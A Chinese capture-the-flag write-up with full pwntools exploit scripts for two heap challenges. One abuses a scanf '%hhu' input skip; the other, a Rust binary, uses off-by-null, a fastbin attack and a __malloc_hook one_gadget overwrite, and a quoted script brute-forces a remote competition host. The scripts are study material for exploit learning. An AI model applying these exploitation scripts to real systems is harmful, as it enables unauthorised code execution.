题目的功能很好分析,但是漏洞点之前没有见过,根据程序流程发现是scanf("%hhu"&x);
存在漏洞,可以再每次新申请堆的时候跳过写入内容,保留原有堆的值。%hhu代表unsigned char,在输入为±符号的时候,输入是跳过的,并且不影响后续的程序流
我的解题思路
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def FuzzerBitmap_Creatio(index,content,bitmap,mod):
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
if mod:
conn.sendline(str(ord(content[i])))
else:
conn.sendline(content[i])
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Edit_FuzzerBitmap(index,content,bitmap):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
conn.sendline(str(ord(content[i])))
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Check_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Delete_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Attack(paylaod):
conn.recvuntil("Your choice:")
conn.sendline("6")
conn.sendline(str(paylaod))
if __name__ == '__main__':
HOST = '39.105.185.193'
PORT = 30007
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./fuzzerinstrospector")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
table = ""
for i in range(0,256):
table += chr(i)
FuzzerBitmap_Creatio(0,"A"*8,table,1)
FuzzerBitmap_Creatio(1,"B"*8,table,1)
FuzzerBitmap_Creatio(2,"C"*8,table,1)
FuzzerBitmap_Creatio(3,"D"*8,table,1)
FuzzerBitmap_Creatio(4,"D"*8,table,1)
FuzzerBitmap_Creatio(5,"D"*8,table,1)
FuzzerBitmap_Creatio(6,"D"*8,table,1)
FuzzerBitmap_Creatio(7,"D"*8,table,1)
FuzzerBitmap_Creatio(8,"D"*8,table,1)
Delete_FuzzerBitmap(0)
Delete_FuzzerBitmap(1)
Delete_FuzzerBitmap(2)
Delete_FuzzerBitmap(3)
Delete_FuzzerBitmap(4)
Delete_FuzzerBitmap(5)
Delete_FuzzerBitmap(6)
Delete_FuzzerBitmap(7)
Delete_FuzzerBitmap(8)
FuzzerBitmap_Creatio(0,"+"*8,table,0)
FuzzerBitmap_Creatio(1,"+"*8,table,0)
FuzzerBitmap_Creatio(2,"+"*8,table,0)
FuzzerBitmap_Creatio(3,"+"*8,table,0)
FuzzerBitmap_Creatio(4,"+"*8,table,0)
FuzzerBitmap_Creatio(5,"+"*8,table,0)
FuzzerBitmap_Creatio(6,"+"*8,table,0)
FuzzerBitmap_Creatio(7,"+"*8,table,0)
#FuzzerBitmap_Creatio(8,"+"*8,table,0)
Check_FuzzerBitmap(7)
conn.recvuntil("Bitmap set:")
main_arena_leak = ""
for x in range(8):
conn.recvuntil("Bit: ")
one_bit = conn.recvuntil("\n",drop=True)
main_arena_leak += chr(int(one_bit))
main_arena_leak = u64(main_arena_leak)
print "The main_arena_leak is",hex(main_arena_leak)
libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10)
libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook")
onegadget = libc_base + 0x4f302
system = libc_base + libc.dump("system")
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(onegadget)
Edit_FuzzerBitmap(0,"/bin/sh\x00",table)
Attack(system)
pause()
conn.interactive()
碰到这个题目的时候确实是比较懵的,rust程序没有接触过,基本上都是去符号的二进制文件,分析比较复杂。下面详细讲讲我再比赛后的解题路程
第一步:先需要定位程序的主函数,并且了解程序的主要功能
省略分析过程,其实从main函数一路就可以定位,关键函数的位置在0xC3F0
位置,从上到下审阅,可以看出来第一个输入的应该一个不大于4的数字。在往后因为反汇编显示用了JMP进行跳跃,所以IDA解析不出来,我没有静态再去分析,主要靠动态调试进行测试,最后得到了函数的主要功能和特点
在详细的了解后,发现使用off-by-one实现overlapping是非常困难的,主要还是因为free不能控制,off-by-one基本上是向后操作的,因此需要考虑别的方法。
经过Loτυs师傅的指点,发现还是需要使用off-by-null的方法
大家可以去看师傅的原文,我这里会详细分析一下原理
https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501
因为没有环境了,我主要实现在本地的测试哈,先上整体的程序代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def cteate_heap(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def edit_heap(index,len,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Idx:")
conn.sendline(str(index))
conn.recvuntil("Len:")
conn.sendline(str(len))
conn.recvuntil("Data:")
conn.sendline(str(content))
def free_heap():
conn.recvuntil("Command:")
conn.sendline("3")
def show_heap(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Idx:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26100
#conn = remote(HOST ,PORT)
conn = process("./rusty")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
'''第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满'''
[cteate_heap(0x88) for x in range(7)] #0-6
#这里用了9个0x100堆,就是想通过剩余的两个合并成0x200大小的unsorted bin
[cteate_heap(0x100) for x in range(9)] #7-15
#这里用了8个0x68堆,是为了有一个放入fastbin中,并且在后续想办法利用它实现fastbin attack
[cteate_heap(0x68) for x in range(8)] #16-23
[free_heap() for x in range(17)]
'''第二步:此时存在0x200大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x90的块(含头),为了后续可以继续连续申请大小为0xf8的堆块'''
cteate_heap(0x88) #7
cteate_heap(0x100) #8
'''第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null'''
[cteate_heap(0xf8) for x in range(9)] #9-17
[free_heap() for x in range(7)]
payload = "\x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "\x00"
edit_heap(9,len(payload),payload)
free_heap() #off by null success!!! free 10!!!
'''第四步:这一步猛一看为什么构造的这么复杂?是为了错开原本的对结构,使得新生成的堆头处于原本堆的中部'''
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
conn.recvuntil("\x7f")
conn.recv(2)
leak = conn.recvuntil("\x7f")
leak = leak.decode("utf-8").ljust(8,"\x00")
leak = u64(leak)
print "The libc leak is",hex(leak)
__malloc_hook = leak - 96 - 0x10
libc = LibcSearcher("__malloc_hook",__malloc_hook)
libc_base = __malloc_hook - libc.dump("__malloc_hook")
one_gadget = libc_base + 0x4f302
realloc = libc_base + libc.dump("realloc")
print "The malloc hook is",hex(__malloc_hook)
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(one_gadget)
'''第五步:修改新申请的堆块内容,实现fastbin attack'''
cteate_heap(0xa0) #23
cteate_heap(0x90) #24
cteate_heap(0x90) #25
payload = "\x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23) #18
edit_heap(18,len(payload),payload)
show_heap(9)
cteate_heap(0x68) #26
cteate_heap(0x68) #27
'''第六步:修改malloc hook实现onegadget'''
payload = "\x00"*0xb + p64(0) + p64(one_gadget)
edit_heap(27,len(payload),payload)
pause()
conn.interactive()
之后我们分步骤讲解
第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满
通过第一步构造,此时我们的堆空间是这样的
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 2个0x110 | # 这两个0x110的堆块合并成了一个0x220的unsorted bin
|------------------------|
| 7个0x110 | # 这里填满了tcache
|------------------------|
| 8个0x70 | # 这里填满了tcache
|------------------------|
第二步:此时存在0x220大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x80的块(含头)
这一步是必须的,因为我们再申请堆块会优先从unsorted bin上申请,为了后面正常申请大小为0xf8的堆块,必须先把这个0x220的堆块切割变小,直至小于0x100
第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null
在[free_heap() for x in range(7)]
之后,我们的堆空间已经变成了
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 0x90 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x110 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x80 | # 切割后剩余的0x80的unsorted bin
|------------------------|
| 7个0x110 | # 填满了tcache
|------------------------|
| 8个0x70 | # 填满了tcache,并且生成一个fastbin
|------------------------|
| 2个0x100 | # 这两个是没有被释放的,用于实现off-by-one
|------------------------|
| 7个0x100 | # 填满了tcache
|------------------------|
通过修改第9个块,影响第10个块,经过计算使得pre_size
指向被切割后的unsorted bin
,具体的计算过程看代码应该是很清楚的
在free(10)之后,堆结构就变成了
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 0x90 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x110 | # 用于切割0x220的unsorted bin
|------------------------|
| 合并后的块 | # 合并后的内容,大小为0x80 + 7*0x110 + 8*0x70 + 2*0x100,我们未被释放的是堆块9,位置在0x80 + 7*0x110 + 8*0x70
|------------------------|
| 7个0x100 | # 填满了tcache
|------------------------|
第四步:不断申请堆块,使得将大的unsorted bin切割至与第9块平齐
这一步有一个大坑,就是切割的过程中,需要将新申请的堆头避开原有的堆头,否则会破坏原有堆结构并且报错,所以才会歪七扭八的申请这么多堆
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
然后就可以泄露libc地址了
第五步:实现fastbin attack
这个就不多说,新申请的堆块去修改在fastbin链上的堆块,实现fastbin attack,在malloc hook修改onegadget
至此本地调试结束,大佬说本地调通很简单,因为还有其他问题…
真实环境中坑点1:堆风水
大佬说真实环境中还有堆风水的问题,他是把环境配置成ubuntu18更新libc来测试的,解决了堆风水问题
真实环境中坑点2:malloc hook附近找可申请的\x7f与本地不同
这个大佬说内存地址情况和本地也不一样,大佬用的爆破的方法,最终成功了。记录一下大佬的代码
from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')
def menu(choice):
r.recvuntil(b'Command:')
r.sendline(str(choice))
def add(size):
menu(1)
r.recvuntil(b'Size: ')
r.sendline(str(size))
def edit(index,size,content):
menu(2)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
r.recvuntil(b'Len: ')
r.sendline(str(size))
r.recvuntil(b'Data: ')
r.sendline(content)
def delete():
menu(3)
def show(index):
menu(4)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
def pwn(i):
r.recvuntil(b'Let\'s build a rusty house!\n')
stack_addr = int(r.recvuntil(b'\n')[:-1],16)
[add(0x88) for i in range(8)] #0-7
[add(0x100) for i in range(9)]#8-16
[add(0x68) for k in range(8)]#17-24
[delete() for j in range(17)]
add(0x80)#8
add(0x100)#9
[add(0xf8) for k in range(9)]#10-18
[delete() for l in range(7)]
edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists
delete()
add(0x70)#11
[add(0x100) for o in range(6)]#12-17
add(0xf0)#18
[add(0x60*2) for o in range(4)]#19-22
add(0x40)#23
show(10)
r.recvuntil(b'Data: ')
# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
# print(something)
r.recv(2)
# res = r.recvuntil(b'\x7f')
# print(res)
# print(len(res))
# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0
libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
libc_base = (libc_base<<8)+0xa0-0x3ebca0
print(hex(libc_base))
one_gadget = libc_base+0x4f302
malloc_hook = libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
# gdb.attach(r)
add(0x60)#24
add(0x68)#25
edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
# pause()
# log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
menu(1)
r.interactive()
for i in range(0x60):
r = remote('39.105.187.159',30008)
try:
print(i)
pwn(i)
except EOFError:
r.close()
————————————————
版权声明:本文为CSDN博主「Loτυs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Invin_cible/article/details/125812355
真的不得不说Loτυs真的强,以至于我觉这个非预期解比站撸rust结构体带劲多了…orz…